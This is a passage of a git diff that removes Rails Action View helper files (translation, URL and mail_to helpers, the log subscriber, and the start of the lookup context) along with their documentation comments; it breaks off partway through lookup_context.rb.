- part.delete("")
- affix = part.size > radius ? omission : ""
-
- part = if part_position == :first
- drop_index = [part.length - radius, 0].max
- part.drop(drop_index)
- else
- part.first(radius)
- end
-
- return affix, part.join(separator)
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/translation_helper.rb b/actionpack/lib/action_view/helpers/translation_helper.rb
deleted file mode 100644
index ad8eb47f1f..0000000000
--- a/actionpack/lib/action_view/helpers/translation_helper.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-require 'action_view/helpers/tag_helper'
-require 'i18n/exceptions'
-
-module I18n
- class ExceptionHandler
- include Module.new {
- def call(exception, locale, key, options)
- exception.is_a?(MissingTranslation) && options[:rescue_format] == :html ? super.html_safe : super
- end
- }
- end
-end
-
-module ActionView
- # = Action View Translation Helpers
- module Helpers
- module TranslationHelper
- # Delegates to <tt>I18n#translate</tt> but also performs three additional functions.
- #
- # First, it'll pass the <tt>rescue_format: :html</tt> option to I18n so that any
- # thrown +MissingTranslation+ messages will be turned into inline spans that
- #
- # * have a "translation-missing" class set,
- # * contain the missing key as a title attribute and
- # * a titleized version of the last key segment as a text.
- #
- # E.g. the value returned for a missing translation key :"blog.post.title" will be
- # <span class="translation_missing" title="translation missing: en.blog.post.title">Title</span>.
- # This way your views will display rather reasonable strings but it will still
- # be easy to spot missing translations.
- #
- # Second, it'll scope the key by the current partial if the key starts
- # with a period. So if you call <tt>translate(".foo")</tt> from the
- # <tt>people/index.html.erb</tt> template, you'll actually be calling
- # <tt>I18n.translate("people.index.foo")</tt>. This makes it less repetitive
- # to translate many keys within the same partials and gives you a simple framework
- # for scoping them consistently. If you don't prepend the key with a period,
- # nothing is converted.
- #
- # Third, it'll mark the translation as safe HTML if the key has the suffix
- # "_html" or the last element of the key is the word "html". For example,
- # calling translate("footer_html") or translate("footer.html") will return
- # a safe HTML string that won't be escaped by other HTML helper methods. This
- # naming convention helps to identify translations that include HTML tags so that
- # you know what kind of output to expect when you call translate in a template.
- def translate(key, options = {})
- options.merge!(:rescue_format => :html) unless options.key?(:rescue_format)
- options[:default] = wrap_translate_defaults(options[:default]) if options[:default]
- if html_safe_translation_key?(key)
- html_safe_options = options.dup
- options.except(*I18n::RESERVED_KEYS).each do |name, value|
- unless name == :count && value.is_a?(Numeric)
- html_safe_options[name] = ERB::Util.html_escape(value.to_s)
- end
- end
- translation = I18n.translate(scope_key_by_partial(key), html_safe_options)
-
- translation.respond_to?(:html_safe) ? translation.html_safe : translation
- else
- I18n.translate(scope_key_by_partial(key), options)
- end
- end
- alias :t :translate
-
- # Delegates to <tt>I18n.localize</tt> with no additional functionality.
- #
- # See http://rubydoc.info/github/svenfuchs/i18n/master/I18n/Backend/Base:localize
- # for more information.
- def localize(*args)
- I18n.localize(*args)
- end
- alias :l :localize
-
- private
- def scope_key_by_partial(key)
- if key.to_s.first == "."
- if @virtual_path
- @virtual_path.gsub(%r{/_?}, ".") + key.to_s
- else
- raise "Cannot use t(#{key.inspect}) shortcut because path is not available"
- end
- else
- key
- end
- end
-
- def html_safe_translation_key?(key)
- key.to_s =~ /(\b|_|\.)html$/
- end
-
- def wrap_translate_defaults(defaults)
- new_defaults = []
- defaults = Array(defaults)
- while key = defaults.shift
- if key.is_a?(Symbol)
- new_defaults << lambda { |_, options| translate key, options.merge(:default => defaults) }
- break
- else
- new_defaults << key
- end
- end
-
- new_defaults
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/url_helper.rb b/actionpack/lib/action_view/helpers/url_helper.rb
deleted file mode 100644
index fa516cf91b..0000000000
--- a/actionpack/lib/action_view/helpers/url_helper.rb
+++ /dev/null
@@ -1,664 +0,0 @@
-require 'action_view/helpers/javascript_helper'
-require 'active_support/core_ext/array/access'
-require 'active_support/core_ext/hash/keys'
-require 'active_support/core_ext/string/output_safety'
-
-module ActionView
- # = Action View URL Helpers
- module Helpers #:nodoc:
- # Provides a set of methods for making links and getting URLs that
- # depend on the routing subsystem (see ActionDispatch::Routing).
- # This allows you to use the same format for links in views
- # and controllers.
- module UrlHelper
- # This helper may be included in any class that includes the
- # URL helpers of a routes (routes.url_helpers). Some methods
- # provided here will only work in the context of a request
- # (link_to_unless_current, for instance), which must be provided
- # as a method called #request on the context.
-
- extend ActiveSupport::Concern
-
- include TagHelper
-
- module ClassMethods
- def _url_for_modules
- ActionView::RoutingUrlFor
- end
- end
-
- # Basic implementation of url_for to allow use helpers without routes existence
- def url_for(options = nil) # :nodoc:
- case options
- when String
- options
- when :back
- _back_url
- else
- raise ArgumentError, "arguments passed to url_for can't be handled. Please require " +
- "routes or provide your own implementation"
- end
- end
-
- def _back_url # :nodoc:
- referrer = controller.respond_to?(:request) && controller.request.env["HTTP_REFERER"]
- referrer || 'javascript:history.back()'
- end
- protected :_back_url
-
- # Creates a link tag of the given +name+ using a URL created by the set of +options+.
- # See the valid options in the documentation for +url_for+. It's also possible to
- # pass a String instead of an options hash, which generates a link tag that uses the
- # value of the String as the href for the link. Using a <tt>:back</tt> Symbol instead
- # of an options hash will generate a link to the referrer (a JavaScript back link
- # will be used in place of a referrer if none exists). If +nil+ is passed as the name
- # the value of the link itself will become the name.
- #
- # ==== Signatures
- #
- # link_to(body, url, html_options = {})
- # # url is a String; you can use URL helpers like
- # # posts_path
- #
- # link_to(body, url_options = {}, html_options = {})
- # # url_options, except :method, is passed to url_for
- #
- # link_to(options = {}, html_options = {}) do
- # # name
- # end
- #
- # link_to(url, html_options = {}) do
- # # name
- # end
- #
- # ==== Options
- # * <tt>:data</tt> - This option can be used to add custom data attributes.
- # * <tt>method: symbol of HTTP verb</tt> - This modifier will dynamically
- # create an HTML form and immediately submit the form for processing using
- # the HTTP verb specified. Useful for having links perform a POST operation
- # in dangerous actions like deleting a record (which search bots can follow
- # while spidering your site). Supported verbs are <tt>:post</tt>, <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>.
- # Note that if the user has JavaScript disabled, the request will fall back
- # to using GET. If <tt>href: '#'</tt> is used and the user has JavaScript
- # disabled clicking the link will have no effect. If you are relying on the
- # POST behavior, you should check for it in your controller's action by using
- # the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>:patch</tt>, or <tt>put?</tt>.
- # * <tt>remote: true</tt> - This will allow the unobtrusive JavaScript
- # driver to make an Ajax request to the URL in question instead of following
- # the link. The drivers each provide mechanisms for listening for the
- # completion of the Ajax request and performing JavaScript operations once
- # they're complete
- #
- # ==== Data attributes
- #
- # * <tt>confirm: 'question?'</tt> - This will allow the unobtrusive JavaScript
- # driver to prompt with the question specified. If the user accepts, the link is
- # processed normally, otherwise no action is taken.
- # * <tt>:disable_with</tt> - Value of this parameter will be
- # used as the value for a disabled version of the submit
- # button when the form is submitted. This feature is provided
- # by the unobtrusive JavaScript driver.
- #
- # ==== Examples
- # Because it relies on +url_for+, +link_to+ supports both older-style controller/action/id arguments
- # and newer RESTful routes. Current Rails style favors RESTful routes whenever possible, so base
- # your application on resources and use
- #
- # link_to "Profile", profile_path(@profile)
- # # => <a href="/profiles/1">Profile</a>
- #
- # or the even pithier
- #
- # link_to "Profile", @profile
- # # => <a href="/profiles/1">Profile</a>
- #
- # in place of the older more verbose, non-resource-oriented
- #
- # link_to "Profile", controller: "profiles", action: "show", id: @profile
- # # => <a href="/profiles/show/1">Profile</a>
- #
- # Similarly,
- #
- # link_to "Profiles", profiles_path
- # # => <a href="/profiles">Profiles</a>
- #
- # is better than
- #
- # link_to "Profiles", controller: "profiles"
- # # => <a href="/profiles">Profiles</a>
- #
- # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
- #
- # <%= link_to(@profile) do %>
- # <strong><%= @profile.name %></strong> -- <span>Check it out!</span>
- # <% end %>
- # # => <a href="/profiles/1">
- # <strong>David</strong> -- <span>Check it out!</span>
- # </a>
- #
- # Classes and ids for CSS are easy to produce:
- #
- # link_to "Articles", articles_path, id: "news", class: "article"
- # # => <a href="/articles" class="article" id="news">Articles</a>
- #
- # Be careful when using the older argument style, as an extra literal hash is needed:
- #
- # link_to "Articles", { controller: "articles" }, id: "news", class: "article"
- # # => <a href="/articles" class="article" id="news">Articles</a>
- #
- # Leaving the hash off gives the wrong link:
- #
- # link_to "WRONG!", controller: "articles", id: "news", class: "article"
- # # => <a href="/articles/index/news?class=article">WRONG!</a>
- #
- # +link_to+ can also produce links with anchors or query strings:
- #
- # link_to "Comment wall", profile_path(@profile, anchor: "wall")
- # # => <a href="/profiles/1#wall">Comment wall</a>
- #
- # link_to "Ruby on Rails search", controller: "searches", query: "ruby on rails"
- # # => <a href="/searches?query=ruby+on+rails">Ruby on Rails search</a>
- #
- # link_to "Nonsense search", searches_path(foo: "bar", baz: "quux")
- # # => <a href="/searches?foo=bar&amp;baz=quux">Nonsense search</a>
- #
- # The only option specific to +link_to+ (<tt>:method</tt>) is used as follows:
- #
- # link_to("Destroy", "http://www.example.com", method: :delete)
- # # => <a href='http://www.example.com' rel="nofollow" data-method="delete">Destroy</a>
- #
- # You can also use custom data attributes using the <tt>:data</tt> option:
- #
- # link_to "Visit Other Site", "http://www.rubyonrails.org/", data: { confirm: "Are you sure?" }
- # # => <a href="http://www.rubyonrails.org/" data-confirm="Are you sure?"">Visit Other Site</a>
- def link_to(name = nil, options = nil, html_options = nil, &block)
- html_options, options = options, name if block_given?
- options ||= {}
-
- html_options = convert_options_to_data_attributes(options, html_options)
-
- url = url_for(options)
- html_options['href'] ||= url
-
- content_tag(:a, name || url, html_options, &block)
- end
-
- # Generates a form containing a single button that submits to the URL created
- # by the set of +options+. This is the safest method to ensure links that
- # cause changes to your data are not triggered by search bots or accelerators.
- # If the HTML button does not work with your layout, you can also consider
- # using the +link_to+ method with the <tt>:method</tt> modifier as described in
- # the +link_to+ documentation.
- #
- # By default, the generated form element has a class name of <tt>button_to</tt>
- # to allow styling of the form itself and its children. This can be changed
- # using the <tt>:form_class</tt> modifier within +html_options+. You can control
- # the form submission and input element behavior using +html_options+.
- # This method accepts the <tt>:method</tt> modifier described in the +link_to+ documentation.
- # If no <tt>:method</tt> modifier is given, it will default to performing a POST operation.
- # You can also disable the button by passing <tt>disabled: true</tt> in +html_options+.
- # If you are using RESTful routes, you can pass the <tt>:method</tt>
- # to change the HTTP verb used to submit the form.
- #
- # ==== Options
- # The +options+ hash accepts the same options as +url_for+.
- #
- # There are a few special +html_options+:
- # * <tt>:method</tt> - Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>,
- # <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>. By default it will be <tt>:post</tt>.
- # * <tt>:disabled</tt> - If set to true, it will generate a disabled button.
- # * <tt>:data</tt> - This option can be used to add custom data attributes.
- # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
- # submit behavior. By default this behavior is an ajax submit.
- # * <tt>:form</tt> - This hash will be form attributes
- # * <tt>:form_class</tt> - This controls the class of the form within which the submit button will
- # be placed
- #
- # ==== Data attributes
- #
- # * <tt>:confirm</tt> - This will use the unobtrusive JavaScript driver to
- # prompt with the question specified. If the user accepts, the link is
- # processed normally, otherwise no action is taken.
- # * <tt>:disable_with</tt> - Value of this parameter will be
- # used as the value for a disabled version of the submit
- # button when the form is submitted. This feature is provided
- # by the unobtrusive JavaScript driver.
- #
- # ==== Examples
- # <%= button_to "New", action: "new" %>
- # # => "<form method="post" action="/controller/new" class="button_to">
- # # <div><input value="New" type="submit" /></div>
- # # </form>"
- #
- # <%= button_to [:make_happy, @user] do %>
- # Make happy <strong><%= @user.name %></strong>
- # <% end %>
- # # => "<form method="post" action="/users/1/make_happy" class="button_to">
- # # <div>
- # # <button type="submit">
- # # Make happy <strong><%= @user.name %></strong>
- # # </button>
- # # </div>
- # # </form>"
- #
- # <%= button_to "New", action: "new", form_class: "new-thing" %>
- # # => "<form method="post" action="/controller/new" class="new-thing">
- # # <div><input value="New" type="submit" /></div>
- # # </form>"
- #
- #
- # <%= button_to "Create", action: "create", remote: true, form: { "data-type" => "json" } %>
- # # => "<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
- # # <div>
- # # <input value="Create" type="submit" />
- # # <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
- # # </div>
- # # </form>"
- #
- #
- # <%= button_to "Delete Image", { action: "delete", id: @image.id },
- # method: :delete, data: { confirm: "Are you sure?" } %>
- # # => "<form method="post" action="/images/delete/1" class="button_to">
- # # <div>
- # # <input type="hidden" name="_method" value="delete" />
- # # <input data-confirm='Are you sure?' value="Delete Image" type="submit" />
- # # <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
- # # </div>
- # # </form>"
- #
- #
- # <%= button_to('Destroy', 'http://www.example.com',
- # method: "delete", remote: true, data: { confirm: 'Are you sure?', disable_with: 'loading...' }) %>
- # # => "<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
- # # <div>
- # # <input name='_method' value='delete' type='hidden' />
- # # <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
- # # <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
- # # </div>
- # # </form>"
- # #
- def button_to(name = nil, options = nil, html_options = nil, &block)
- html_options, options = options, name if block_given?
- options ||= {}
- html_options ||= {}
-
- html_options = html_options.stringify_keys
- convert_boolean_attributes!(html_options, %w(disabled))
-
- url = options.is_a?(String) ? options : url_for(options)
- remote = html_options.delete('remote')
-
- method = html_options.delete('method').to_s
- method_tag = %w{patch put delete}.include?(method) ? method_tag(method) : ''.html_safe
-
- form_method = method == 'get' ? 'get' : 'post'
- form_options = html_options.delete('form') || {}
- form_options[:class] ||= html_options.delete('form_class') || 'button_to'
- form_options.merge!(method: form_method, action: url)
- form_options.merge!("data-remote" => "true") if remote
-
- request_token_tag = form_method == 'post' ? token_tag : ''
-
- html_options = convert_options_to_data_attributes(options, html_options)
- html_options['type'] = 'submit'
-
- button = if block_given?
- content_tag('button', html_options, &block)
- else
- html_options['value'] = name || url
- tag('input', html_options)
- end
-
- inner_tags = method_tag.safe_concat(button).safe_concat(request_token_tag)
- content_tag('form', content_tag('div', inner_tags), form_options)
- end
-
- # Creates a link tag of the given +name+ using a URL created by the set of
- # +options+ unless the current request URI is the same as the links, in
- # which case only the name is returned (or the given block is yielded, if
- # one exists). You can give +link_to_unless_current+ a block which will
- # specialize the default behavior (e.g., show a "Start Here" link rather
- # than the link's text).
- #
- # ==== Examples
- # Let's say you have a navigation menu...
- #
- # <ul id="navbar">
- # <li><%= link_to_unless_current("Home", { action: "index" }) %></li>
- # <li><%= link_to_unless_current("About Us", { action: "about" }) %></li>
- # </ul>
- #
- # If in the "about" action, it will render...
- #
- # <ul id="navbar">
- # <li><a href="/controller/index">Home</a></li>
- # <li>About Us</li>
- # </ul>
- #
- # ...but if in the "index" action, it will render:
- #
- # <ul id="navbar">
- # <li>Home</li>
- # <li><a href="/controller/about">About Us</a></li>
- # </ul>
- #
- # The implicit block given to +link_to_unless_current+ is evaluated if the current
- # action is the action given. So, if we had a comments page and wanted to render a
- # "Go Back" link instead of a link to the comments page, we could do something like this...
- #
- # <%=
- # link_to_unless_current("Comment", { controller: "comments", action: "new" }) do
- # link_to("Go back", { controller: "posts", action: "index" })
- # end
- # %>
- def link_to_unless_current(name, options = {}, html_options = {}, &block)
- link_to_unless current_page?(options), name, options, html_options, &block
- end
-
- # Creates a link tag of the given +name+ using a URL created by the set of
- # +options+ unless +condition+ is true, in which case only the name is
- # returned. To specialize the default behavior (i.e., show a login link rather
- # than just the plaintext link text), you can pass a block that
- # accepts the name or the full argument list for +link_to_unless+.
- #
- # ==== Examples
- # <%= link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) %>
- # # If the user is logged in...
- # # => <a href="/controller/reply/">Reply</a>
- #
- # <%=
- # link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) do |name|
- # link_to(name, { controller: "accounts", action: "signup" })
- # end
- # %>
- # # If the user is logged in...
- # # => <a href="/controller/reply/">Reply</a>
- # # If not...
- # # => <a href="/accounts/signup">Reply</a>
- def link_to_unless(condition, name, options = {}, html_options = {}, &block)
- if condition
- if block_given?
- block.arity <= 1 ? capture(name, &block) : capture(name, options, html_options, &block)
- else
- name
- end
- else
- link_to(name, options, html_options)
- end
- end
-
- # Creates a link tag of the given +name+ using a URL created by the set of
- # +options+ if +condition+ is true, otherwise only the name is
- # returned. To specialize the default behavior, you can pass a block that
- # accepts the name or the full argument list for +link_to_unless+ (see the examples
- # in +link_to_unless+).
- #
- # ==== Examples
- # <%= link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) %>
- # # If the user isn't logged in...
- # # => <a href="/sessions/new/">Login</a>
- #
- # <%=
- # link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) do
- # link_to(@current_user.login, { controller: "accounts", action: "show", id: @current_user })
- # end
- # %>
- # # If the user isn't logged in...
- # # => <a href="/sessions/new/">Login</a>
- # # If they are logged in...
- # # => <a href="/accounts/show/3">my_username</a>
- def link_to_if(condition, name, options = {}, html_options = {}, &block)
- link_to_unless !condition, name, options, html_options, &block
- end
-
- # Creates a mailto link tag to the specified +email_address+, which is
- # also used as the name of the link unless +name+ is specified. Additional
- # HTML attributes for the link can be passed in +html_options+.
- #
- # +mail_to+ has several methods for hindering email harvesters and customizing
- # the email itself by passing special keys to +html_options+.
- #
- # ==== Options
- # * <tt>:encode</tt> - This key will accept the strings "javascript" or "hex".
- # Passing "javascript" will dynamically create and encode the mailto link then
- # eval it into the DOM of the page. This method will not show the link on
- # the page if the user has JavaScript disabled. Passing "hex" will hex
- # encode the +email_address+ before outputting the mailto link.
- # * <tt>:replace_at</tt> - When the link +name+ isn't provided, the
- # +email_address+ is used for the link label. You can use this option to
- # obfuscate the +email_address+ by substituting the @ sign with the string
- # given as the value.
- # * <tt>:replace_dot</tt> - When the link +name+ isn't provided, the
- # +email_address+ is used for the link label. You can use this option to
- # obfuscate the +email_address+ by substituting the . in the email with the
- # string given as the value.
- # * <tt>:subject</tt> - Preset the subject line of the email.
- # * <tt>:body</tt> - Preset the body of the email.
- # * <tt>:cc</tt> - Carbon Copy additional recipients on the email.
- # * <tt>:bcc</tt> - Blind Carbon Copy additional recipients on the email.
- #
- # ==== Examples
- # mail_to "me@domain.com"
- # # => <a href="mailto:me@domain.com">me@domain.com</a>
- #
- # mail_to "me@domain.com", "My email", encode: "javascript"
- # # => <script>eval(decodeURIComponent('%64%6f%63...%27%29%3b'))</script>
- #
- # mail_to "me@domain.com", "My email", encode: "hex"
- # # => <a href="mailto:%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d">My email</a>
- #
- # mail_to "me@domain.com", nil, replace_at: "_at_", replace_dot: "_dot_", class: "email"
- # # => <a href="mailto:me@domain.com" class="email">me_at_domain_dot_com</a>
- #
- # mail_to "me@domain.com", "My email", cc: "ccaddress@domain.com",
- # subject: "This is an example email"
- # # => <a href="mailto:me@domain.com?cc=ccaddress@domain.com&subject=This%20is%20an%20example%20email">My email</a>
- def mail_to(email_address, name = nil, html_options = {})
- email_address = ERB::Util.html_escape(email_address)
-
- html_options = html_options.stringify_keys
- encode = html_options.delete("encode").to_s
-
- extras = %w{ cc bcc body subject }.map { |item|
- option = html_options.delete(item) || next
- "#{item}=#{Rack::Utils.escape_path(option)}"
- }.compact
- extras = extras.empty? ? '' : '?' + ERB::Util.html_escape(extras.join('&'))
-
- email_address_obfuscated = email_address.to_str
- email_address_obfuscated.gsub!(/@/, html_options.delete("replace_at")) if html_options.key?("replace_at")
- email_address_obfuscated.gsub!(/\./, html_options.delete("replace_dot")) if html_options.key?("replace_dot")
- case encode
- when "javascript"
- string = ''
- html = content_tag("a", name || email_address_obfuscated.html_safe, html_options.merge("href" => "mailto:#{email_address}#{extras}".html_safe))
- html = escape_javascript(html.to_str)
- "document.write('#{html}');".each_byte do |c|
- string << sprintf("%%%x", c)
- end
- "<script>eval(decodeURIComponent('#{string}'))</script>".html_safe
- when "hex"
- email_address_encoded = email_address_obfuscated.unpack('C*').map {|c|
- sprintf("&#%d;", c)
- }.join
-
- string = 'mailto:'.unpack('C*').map { |c|
- sprintf("&#%d;", c)
- }.join + email_address.unpack('C*').map { |c|
- char = c.chr
- char =~ /\w/ ? sprintf("%%%x", c) : char
- }.join
-
- content_tag "a", name || email_address_encoded.html_safe, html_options.merge("href" => "#{string}#{extras}".html_safe)
- else
- content_tag "a", name || email_address_obfuscated.html_safe, html_options.merge("href" => "mailto:#{email_address}#{extras}".html_safe)
- end
- end
-
- # True if the current request URI was generated by the given +options+.
- #
- # ==== Examples
- # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc</tt> action.
- #
- # current_page?(action: 'process')
- # # => false
- #
- # current_page?(controller: 'shop', action: 'checkout')
- # # => true
- #
- # current_page?(controller: 'shop', action: 'checkout', order: 'asc')
- # # => false
- #
- # current_page?(action: 'checkout')
- # # => true
- #
- # current_page?(controller: 'library', action: 'checkout')
- # # => false
- #
- # current_page?('http://www.example.com/shop/checkout')
- # # => true
- #
- # current_page?('/shop/checkout')
- # # => true
- #
- # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc&page=1</tt> action.
- #
- # current_page?(action: 'process')
- # # => false
- #
- # current_page?(controller: 'shop', action: 'checkout')
- # # => true
- #
- # current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '1')
- # # => true
- #
- # current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '2')
- # # => false
- #
- # current_page?(controller: 'shop', action: 'checkout', order: 'desc')
- # # => false
- #
- # current_page?(action: 'checkout')
- # # => true
- #
- # current_page?(controller: 'library', action: 'checkout')
- # # => false
- #
- # Let's say we're in the <tt>http://www.example.com/products</tt> action with method POST in case of invalid product.
- #
- # current_page?(controller: 'product', action: 'index')
- # # => false
- #
- def current_page?(options)
- unless request
- raise "You cannot use helpers that need to determine the current " \
- "page unless your view context provides a Request object " \
- "in a #request method"
- end
-
- return false unless request.get?
-
- url_string = url_for(options)
-
- # We ignore any extra parameters in the request_uri if the
- # submitted url doesn't have any either. This lets the function
- # work with things like ?order=asc
- request_uri = url_string.index("?") ? request.fullpath : request.path
-
- if url_string =~ /^\w+:\/\//
- url_string == "#{request.protocol}#{request.host_with_port}#{request_uri}"
- else
- url_string == request_uri
- end
- end
-
- private
- def convert_options_to_data_attributes(options, html_options)
- if html_options
- html_options = html_options.stringify_keys
- html_options['data-remote'] = 'true' if link_to_remote_options?(options) || link_to_remote_options?(html_options)
-
- disable_with = html_options.delete("disable_with")
- confirm = html_options.delete('confirm')
- method = html_options.delete('method')
-
- if confirm
- message = ":confirm option is deprecated and will be removed from Rails 4.1. " \
- "Use 'data: { confirm: \'Text\' }' instead."
- ActiveSupport::Deprecation.warn message
-
- html_options["data-confirm"] = confirm
- end
-
- add_method_to_attributes!(html_options, method) if method
-
- if disable_with
- message = ":disable_with option is deprecated and will be removed from Rails 4.1. " \
- "Use 'data: { disable_with: \'Text\' }' instead."
- ActiveSupport::Deprecation.warn message
-
- html_options["data-disable-with"] = disable_with
- end
-
- html_options
- else
- link_to_remote_options?(options) ? {'data-remote' => 'true'} : {}
- end
- end
-
- def link_to_remote_options?(options)
- if options.is_a?(Hash)
- options.delete('remote') || options.delete(:remote)
- end
- end
-
- def add_method_to_attributes!(html_options, method)
- if method && method.to_s.downcase != "get" && html_options["rel"] !~ /nofollow/
- html_options["rel"] = "#{html_options["rel"]} nofollow".lstrip
- end
- html_options["data-method"] = method
- end
-
- # Processes the +html_options+ hash, converting the boolean
- # attributes from true/false form into the form required by
- # HTML/XHTML. (An attribute is considered to be boolean if
- # its name is listed in the given +bool_attrs+ array.)
- #
- # More specifically, for each boolean attribute in +html_options+
- # given as:
- #
- # "attr" => bool_value
- #
- # if the associated +bool_value+ evaluates to true, it is
- # replaced with the attribute's name; otherwise the attribute is
- # removed from the +html_options+ hash. (See the XHTML 1.0 spec,
- # section 4.5 "Attribute Minimization" for more:
- # http://www.w3.org/TR/xhtml1/#h-4.5)
- #
- # Returns the updated +html_options+ hash, which is also modified
- # in place.
- #
- # Example:
- #
- # convert_boolean_attributes!( html_options,
- # %w( checked disabled readonly ) )
- def convert_boolean_attributes!(html_options, bool_attrs)
- bool_attrs.each { |x| html_options[x] = x if html_options.delete(x) }
- html_options
- end
-
- def token_tag(token=nil)
- if token != false && protect_against_forgery?
- token ||= form_authenticity_token
- tag(:input, type: "hidden", name: request_forgery_protection_token.to_s, value: token)
- else
- ''
- end
- end
-
- def method_tag(method)
- tag('input', type: 'hidden', name: '_method', value: method.to_s)
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/log_subscriber.rb b/actionpack/lib/action_view/log_subscriber.rb
deleted file mode 100644
index fd9a543e0a..0000000000
--- a/actionpack/lib/action_view/log_subscriber.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-module ActionView
- # = Action View Log Subscriber
- #
- # Provides functionality so that Rails can output logs from Action View.
- class LogSubscriber < ActiveSupport::LogSubscriber
- VIEWS_PATTERN = /^app\/views\//.freeze
-
- def render_template(event)
- return unless logger.info?
- message = " Rendered #{from_rails_root(event.payload[:identifier])}"
- message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
- message << " (#{event.duration.round(1)}ms)"
- info(message)
- end
- alias :render_partial :render_template
- alias :render_collection :render_template
-
- def logger
- ActionView::Base.logger
- end
-
- protected
-
- def from_rails_root(string)
- string.sub("#{Rails.root}/", "").sub(VIEWS_PATTERN, "")
- end
- end
-end
-
-ActionView::LogSubscriber.attach_to :action_view
diff --git a/actionpack/lib/action_view/lookup_context.rb b/actionpack/lib/action_view/lookup_context.rb
deleted file mode 100644
index 76f4dea7b8..0000000000
--- a/actionpack/lib/action_view/lookup_context.rb
+++ /dev/null
@@ -1,233 +0,0 @@
-require 'active_support/core_ext/module/remove_method'
-
-module ActionView
- # = Action View Lookup Context
- #
- # LookupContext is the object responsible to hold all information required to lookup
- # templates, i.e. view paths and details. The LookupContext is also responsible to
- # generate a key, given to view paths, used in the resolver cache lookup. Since
- # this key is generated just once during the request, it speeds up all cache accesses.
- class LookupContext #:nodoc:
- attr_accessor :prefixes, :rendered_format
-
- mattr_accessor :fallbacks
- @@fallbacks = FallbackFileSystemResolver.instances
-
- mattr_accessor :registered_details
- self.registered_details = []
-
- def self.register_detail(name, options = {}, &block)
- self.registered_details << name
- initialize = registered_details.map { |n| "@details[:#{n}] = details[:#{n}] || default_#{n}" }
-
- Accessors.send :define_method, :"default_#{name}", &block
- Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1
- def #{name}
- @details.fetch(:#{name}, [])
- end
-
- def #{name}=(value)
- value = value.present? ? Array(value) : default_#{name}
- _set_detail(:#{name}, value) if value != @details[:#{name}]
- end
-
- remove_possible_method :initialize_details
- def initialize_details(details)
- #{initialize.join("\n")}
- end
- METHOD
- end
-
- # Holds accessors for the registered details.
- module Accessors #:nodoc:
- end
-
- register_detail(:locale) { [I18n.locale, I18n.default_locale].uniq }
- register_detail(:formats) { ActionView::Base.default_formats || [:html, :text, :js, :css, :xml, :json] }
- register_detail(:handlers){ Template::Handlers.extensions }
-
- class DetailsKey #:nodoc:
- alias :eql? :equal?
- alias :object_hash :hash
-
- attr_reader :hash
- @details_keys = Hash.new
-
- def self.get(details)
- @details_keys[details] ||= new
- end
-
- def self.clear
- @details_keys.clear
- end
-
- def initialize
- @hash = object_hash
- end
- end
-
- # Add caching behavior on top of Details.
- module DetailsCache
- attr_accessor :cache
-
- # Calculate the details key. Remove the handlers from calculation to improve performance
- # since the user cannot modify it explicitly.
- def details_key #:nodoc:
- @details_key ||= DetailsKey.get(@details) if @cache
- end
-
- # Temporary skip passing the details_key forward.
- def disable_cache
- old_value, @cache = @cache, false
- yield
- ensure
- @cache = old_value
- end
-
- protected
-
- def _set_detail(key, value)
- @details = @details.dup if @details_key
- @details_key = nil
- @details[key] = value
- end
- end
-
- # Helpers related to template lookup using the lookup context information.
- module ViewPaths
- attr_reader :view_paths, :html_fallback_for_js
-
- # Whenever setting view paths, makes a copy so we can manipulate then in
- # instance objects as we wish.
- def view_paths=(paths)
- @view_paths = ActionView::PathSet.new(Array(paths))
- end
-
- def find(name, prefixes = [], partial = false, keys = [], options = {})
- @view_paths.find(*args_for_lookup(name, prefixes, partial, keys, options))
- end
- alias :find_template :find
-
- def find_all(name, prefixes = [], partial = false, keys = [], options = {})
- @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys, options))
- end
-
- def exists?(name, prefixes = [], partial = false, keys = [], options = {})
- @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys, options))
- end
- alias :template_exists? :exists?
-
- # Add fallbacks to the view paths. Useful in cases you are rendering a :file.
- def with_fallbacks
- added_resolvers = 0
- self.class.fallbacks.each do |resolver|
- next if view_paths.include?(resolver)
- view_paths.push(resolver)
- added_resolvers += 1
- end
- yield
- ensure
- added_resolvers.times { view_paths.pop }
- end
-
- protected
-
- def args_for_lookup(name, prefixes, partial, keys, details_options) #:nodoc:
- name, prefixes = normalize_name(name, prefixes)
- details, details_key = detail_args_for(details_options)
- [name, prefixes, partial || false, details, details_key, keys]
- end
-
- # Compute details hash and key according to user options (e.g. passed from #render).
- def detail_args_for(options)
- return @details, details_key if options.empty? # most common path.
- user_details = @details.merge(options)
- [user_details, DetailsKey.get(user_details)]
- end
-
- # Support legacy foo.erb names even though we now ignore .erb
- # as well as incorrectly putting part of the path in the template
- # name instead of the prefix.
- def normalize_name(name, prefixes) #:nodoc:
- prefixes = prefixes.presence
